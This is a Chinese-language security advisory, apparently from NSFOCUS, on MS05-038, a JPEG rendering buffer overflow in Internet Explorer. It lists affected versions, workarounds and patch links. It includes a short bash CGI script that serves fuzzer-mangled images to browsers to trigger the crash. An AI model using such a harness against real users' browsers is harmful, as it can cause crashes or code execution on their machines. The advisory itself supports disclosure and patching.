|
|
涉及程序: |
Microsoft IE 程序 |
|
描述: |
Microsoft Internet Explorer JPEG图形渲染溢出漏洞(MS05-038)
|
|
详细: |
Microsoft Internet Explorer是非常流行的WEB浏览器。
Microsoft Internet Explorer浏览器所使用的JPEG图形渲染库中存在缓冲区溢出漏洞,成功的攻击可以导致执行任意代码。
起因是拷贝操作之前没有执行正确的边界检查。攻击者可以通过创建随机的浏览器输入来利用这个漏洞。
<*来源:Michal Zalewski (lcamtuf@echelon.pl)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112144761123607&w= http://www.microsoft.com/technet/security/Bulletin/MS05-038.mspx?pf=true http://www.us-cert.gov/cas/techalerts/TA05-221A.html *>
受影响系统: Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 5.0 SP4 Microsoft Internet Explorer 5.5 SP2 - Microsoft Windows ME Microsoft Internet Explorer 6.0 - Microsoft Windows XP SP2 - Microsoft Windows Server 2003 SP1 - Microsoft Windows Server 2003
|
|
攻击方法: |
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/bin/bash
echo "Content-Type: text/html" echo
ID="timg-$$-$RANDOM-$RANDOM"
rm -f timg-* AFX.log
cat <<_EOF_ <HTML> <HEAD> <META HTTP-EQUIV="Refresh" content="0;URL=/"> </HEAD> <BODY> _EOF_
CNT=0
for i in img/*; do CNT="$[CNT+1]" FNAM="$ID-$CNT" EXT=`echo $i | cut -d. -f2` ./afx-loc -p 1 -i 100 -m RANDOM -s 60000 <$i 2>$FNAM.$EXT >>AFX.log echo "Test $CNT - <IMG SRC=\"$FNAM.$EXT\"><BR>" done
|
|
解决方案: |
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 如果在使用Outlook 2002或之后版本,或Outlook Express 6 SP1或之后版本的话,以纯文本格式阅读e-mail消息可以帮助防范HTML e-mail攻击
厂商补丁:
Microsoft --------- Microsoft已经为此发布了一个安全公告(MS05-038)以及相应补丁: MS05-038:Cumulative Security Update for Internet Explorer (896727) 链接:http://www.microsoft.com/technet/security/Bulletin/MS05-038.mspx?pf=true
补丁下载:
Microsoft Windows 2000 Service Pack 4上的Internet Explorer 5.01 Service Pack 4 http://www.microsoft.com/downloads/details.aspx?FamilyId=194E0EE7-919C-4A8B-AD8D-01A4FE771942
Microsoft Windows 2000 Service Pack 4或Microsoft Windows XP Service Pack 1上的Internet Explorer 6 Service Pack 1 http://www.microsoft.com/downloads/details.aspx?FamilyId=68300B15-1CF9-45FB-875E-2EF6D2FBC9ED
Microsoft Windows XP Service Pack 2的Internet Explorer 6 http://www.microsoft.com/downloads/details.aspx?FamilyId=648B6F0E-1695-44E5-826A-43406DF4858E
Microsoft Windows Server 2003和Microsoft Windows Server 2003 Service Pack 1的Internet Explorer 6 http://www.microsoft.com/downloads/details.aspx?FamilyId=F0B96EC3-E954-423A-9AB0-5712B9F14637 Microsoft Windows Server 2003 for Itanium-based Systems和Microsoft Windows Server 2003 with SP1 for Itanium-based Systems的Internet Explorer 6 http://www.microsoft.com/downloads/details.aspx?FamilyId=C24D3738-213A-41B8-84A3-2842B34D7B10
Microsoft Windows Server 2003 x64 Edition的Internet Explorer 6 http://www.microsoft.com/downloads/details.aspx?FamilyId=F2D544E7-33F5-4A65-A574-15495B05B883
Microsoft Windows XP Professional x64 Edition的Internet Explorer http://www.microsoft.com/downloads/details.aspx?FamilyId=1181BC67-0A1D-4A06-99AC-5B2BC6DFE0F6
|
|